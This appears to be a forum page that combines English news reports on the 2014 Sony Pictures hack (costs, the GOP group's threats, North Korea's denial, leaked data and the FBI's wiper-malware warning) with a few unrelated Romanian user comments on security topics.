reimburses only a portion of costs from hacking incidents, experts said. People claiming responsibility for the attack posted yet-to-be-released Sony films online, including holiday musical "Annie." Macquarie Research analysts projected Sony would likely take an impairment charge of 10 billion yen ($83 million) related to the incident. Mark Rasch, a former federal cyber crimes prosecutor, estimated costs could run up to $70 million. Losses in that range would not mean a big financial setback to Sony Pictures Entertainment, which reported operating profit of $501 million for the fiscal year through March. But other effects, such as the loss of trade secrets, will be difficult to measure, Rasch said. Hackers have released a trove of documents that include contracts and marketing plans that could influence competitors' strategies. Costs could mount if Hollywood stars, producers or financiers decide to take projects to Sony's competitors. "Will they be able to attract high-name stars if those stars believe their personal information will not be protected?" he said. "How do you know what business opportunities are lost? It's hard to put a dollar figure on it." Source

Oh, un articol de nota 20 ce merita citit Mi-a luat cam 3 ore dar a meritat. Mentionez ca pe langa astea 3 ore mi-a mai luat si 1h sa inteleg totul, plus ca l-am citit de doua ori.

E si buna si rea aceasta initiativa... Partea rea? Toti vor putea lua SSL pentru pagini de scam si altele... Oamenii cum nu sunt atenti vor vedea https:// si gata apai asta e site-ul... Si multe altele nu are rost sa o dam in astfel de discutii...

He, he au trecut pe linux baietii Cat despre stire foarte buna @Silviu

@Favertes in primul rand nu ai posturile necesare sa postezi in aceasta categorie. in al doilea rand intrebarea ta este stupida si irelevanta. Frate cand va vad cu astfel de intrebari... De ce vrei sa inveti sa "spargi" site-uri si nu sa creezi site-uri, la ceva bun nu te duce mintea? Ar fi frumos sa veniti pentru tutoriale si pentru a invata ceva nu pentru "sa sparg site-ul / sa sparg parola si altele) a si nu in ultimul timp aici este: Romanian Security Team sa nu va mai zboare gandu aiurea.

10.000$ ? Unde te crezi ba pe unicef? sa faci datacenter )) fun, very fun.

A NOTE, REPORTEDLY FROM THE GROUP of hackers currently assaulting Sony Pictures, has denied reports of employee blackmailing, and has challenged the authorities and told the firm to not release controversial comedy The Interview. The note has been published to Github and we cannot confirm that it is from the Guardians of Peace group. But that is who it claims to be from. "We are the GOP working all over the world. We know nothing about the threatening email received by Sony staffers, but you should wisely judge by yourself why such things are happening and who is responsible for it," it said. "We have already given our clear demand to the management team of Sony, however, they have refused to accept." The message accuses Sony of concentrating on tracing the hacker group when it should be complying to its demands. It suggested that Sony and the FBI are wasting their time, and advised against the release of The Interview, which is described as an act of "terrorism". "It seems that you think everything will be well if you find out the attacker, while not reacting to our demand. We are sending you our warning again. Do carry out our demand if you want to escape us," it added. "And stop immediately showing the movie of terrorism which can break the regional peace and cause the War! You, Sony & FBI cannot find us. We are perfect as much. The destiny of Sony is totally up to the wise reaction & measure of Sony." North Korea has officially dismissed suggestions that it is directly behind the attack on Sony Pictures, but did concede that it could be the work of one of its glorious supporters. In case you missed it, Sony Pictures is currently being gutted by a person or persons unknown. The hackers have threatened the firm, leaked its remake of Annie, and posted Sylvester Stallone's social security number online. Sony is looking into the situation and everyone else is staring at it agog. The official North Korean News Agency - sorry, the glorious official North Korean News Agency - has posted its official response to what the government has called "rumours". "We do not know where in America Sony Pictures is situated and for what wrongdoings it became the target of the attack, nor do we feel the need to know about it," said the agency. "What we clearly know is that Sony Pictures is the very one which was going to produce a film abetting a terrorist act while hurting the dignity of the supreme leadership of the Democratic People's Republic of Korea [DPRK] by taking advantage of the hostile policy of the US administration towards the DPRK." This, it added, could have inspired a glorious citizen to react, because, as it has already said, Sony is producing a film that makes a monkey out of its supreme leader. "The hacking into Sony Pictures might be a righteous deed of the supporters and sympathisers with the DPRK in response to its appeal," it added, while suggesting that its closest neighbour may be fanning the rumour fires. "What matters here is that the US set the DPRK as the target of the investigation, far from reflecting on its wrongdoings and being shameful of being taken unawares. "And the South Korean group, keen on serving its master, groundlessly linked the hacking attack with the DPRK and floated the 'story about the north's involvement', an indication of its inveterate bitterness towards its country fellowmen." The so-called GOP hacker group broke into Sony's computer system in November and leaked movies and employee information, making it one of the biggest ever cyber security breaches. Now it has begun threatening staff. "We understand that some of our employees have received an email claiming to be from GOP," a Sony Pictures spokesperson told CNN. "We are aware of the situation and are working with law enforcement." The FBI has been informed of the emails and is investigating the "person or group responsible for the recent attack on the Sony Pictures network". Earlier this week it was revealed that Sony didn't make it too difficult for the hackers to breach its systems, and held passwords in a file named 'passwords'. The hack is playing out badly for Sony and not a day goes by when we are not treated to another revelation from leaked documents or hushed insiders. The password file included log-ins for services like Facebook and something called MySpace - no, us neither - and suggests that someone at Sony needs a lesson in security, or at the very least, a lesson in file-naming. This is not the end of revelations that elicit a 'facepalm' response, as we have also learned that Sony has shed a load of social security numbers, including those belonging to Sylvester 'Rocky/Rambo' Stallone and some 47,000 others. Data management software firm - natch - Identity Finder, trawled through the documents and found details from as far back as 1995. Around a third of social security numbers belonged to current or former Sony employees. "As we have seen from the myriad data breaches this year, every organisation is vulnerable to an attack," said the firm in a statement. "Security technologies are an important shield, but minimising the target and reducing the footprint of sensitive data is more critical than ever." Yesterday security researchers from Trend Micro picked apart malware described in a recent FBI malware warning, and traced it back to the attacks on Sony. The firm analysed the FBI document and was able to identify the code in question, which it has called BKDR_WIPALL. Before this image was found the team was not so sure, and declined to link Sony and the attack. "TrendLabs engineers were recently able to obtain a sample of the 'destructive malware described in reports about the FBI warning to US businesses last December 2'," said the first report from the firm. "As of this writing, the link between the Sony breach and the malware mentioned by the FBI has yet to be verified." That did not last long, however, and after some additional probling the researchers pulled out a plum of a piece of evidence. "This appears to be the same wallpaper described in reports about the recent Sony hack last November 24 bearing the phrase ‘hacked by #GOP'," they wrote about the image. "Therefore we have reason to believe that this is the same malware used in the recent attack on Sony Pictures." Sony is still in something of a denial stage, and in a kind of Luddite paradise, and is low on comment about the situation. The Guardian has seen an internal memo from the company that speaks of the grave situation and how it affects everybody. "It is now apparent that a large amount of confidential Sony Pictures Entertainment data has been stolen by the cyber attackers, including personnel information and business documents," Sony said, according to the report. "This is the result of a brazen attack on our company, our employees and our business partners. This theft of Sony materials and the release of employee and other information are malicious criminal acts." The high-profile hack is turning into a saga, with reports now claiming that the firm's PlayStation servers are being used to distribute data pilfered during the attack. That's according to security researcher Dan Tentler and a report at Forbes, which claims that Sony PlayStation servers are being used to distribute a 27.78GB archive potentially containing sensitive data swiped from Sony Pictures computers. Tentler examined the data being shared, and found that some of the hosts contained SSL certificates straight from Sony. It's unclear what exactly is going, and Sony has yet to comment. We'll update when we hear more. This revelation comes a day after the FBI threw its hands into discussions about the hack, at the same time as it emerged that North Korea could be to blame. The FBI sent out a 'Flash warning' to US businesses with the request that they do not share it with the papers. Fortunately for people like us, not everyone was listening and one outfit ran to Reuters with the information. Reuters reports that the document fingers North Korea for an assault on an unnamed outfit in the US. North Korea has since refused to deny involvement in the hack. The country is reportedly miffed about an upcoming Sony Pictures film about leader Kim Jong-un, called The Interview, which has already caused the North Korean government to complain to the United Nations and the US. Reports claim that, when asked whether it was involved in the attack, a spokesman for the North Korean government replied: "Wait and see." While some are clearly not paying attention, the FBI has warned businesses to watch out for attacks that look to separate them from their hardware and communications systems. "The overwriting of the data files will make it extremely difficult and costly, if not impossible, to recover the data using standard forensic methods," the report said. The real nut of this would be the actual report, but the FBI has told us in the past that, while it shares such information with businesses, it does not provide the same service to journalists. While we wait for the agency to respond on this occasion we recall a time in October when we asked for access to a similar document with a Chinese-flavoured warning. "The FBI's recent notification to our industry partners provides recipients with information they can use to help determine whether their systems have been compromised by these actors, and provides steps they can take to mitigate any continuing threats," it said at the time. "The FBI continues to aggressively investigate, disrupt and dismantle criminal networks that pose a threat in cyberspace." Sony Pictures is into its second week of being held in the grasp of hackers with a motive. The firm is being held to a kind of ransom by a hacker group called GOP and is facing down threats to release information that it would reportedly rather not release. On top of this, Sony Pictures has lost control over some social media accounts and internal communications systems. Now some of its movie releases, including Fury with one Brad Pitt, have been leaked in a viewable DVD screener format, suggesting that the hackers have entertainment industry crown jewels, i.e. actual movie content. TorrentFreak, which ranks the most downloaded movies on BitTorrent on a weekly basis, finds that Fury, a new entry to the list, is the fifth most popular item already. Around five titles from the Sony camp are in the wild, including a remake of the Annie musical. You have been warned. According to other reports, Sony has hired the services of security firm Mandiant, which is part of FireEye, to aid in the clean up and, presumably, forensic work. We have asked both parties to comment on this, or confirm the arrangement. Mandiant declined. Source